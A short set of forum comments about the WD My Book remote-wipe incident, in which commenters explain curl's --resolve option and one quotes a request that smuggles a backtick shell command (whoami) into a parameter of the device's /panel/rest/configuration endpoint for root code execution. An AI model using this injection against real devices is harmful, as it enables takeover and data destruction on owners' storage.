Re:WD My Book users wake up to find their data deleted
by chtitux on Friday June 25, 2021 @02:41AM
(#27627802)
curl has a very handy --resolve option for that:
curl --resolve 'panel:443:192.168.10.5' -k -X GET https://panel/rest/configuration
Hostname can be set to * in recent versions of curl, it's even more handy:
curl --resolve '*:443:192.168.10.5' -k -X GET https://panel/rest/configuration
Re:WD My Book users wake up to find their data deleted
by Erwin on Friday June 25, 2021 @02:32AM
(#27627756)
curl has a handy --resolve option for telling it how to resolve certain names. Useful when you want to connect to something that thinks it's foo.bar.com and send the right tls/host, but DNS doesn't have it correct yet
Re:WD My Book users wake up to find their data deleted
by yashap on Friday June 25, 2021 @09:09AM
(#27630297)
Wow, so completely trivial to get root RCE on any of these devices, brutal, all you need is an IP address. That’s as bad as vulnerabilities get.
Insane that this has been known since 2018, and not patched - these devices are from ~2011-2015, far from ancient. I’ll personally never, ever buy anything from Western Digital again.
curl -kX GET -d ‘bim=param`whoami`’ https:///panel/rest/configuration
How does one get to resolve /panel/rest/configuration?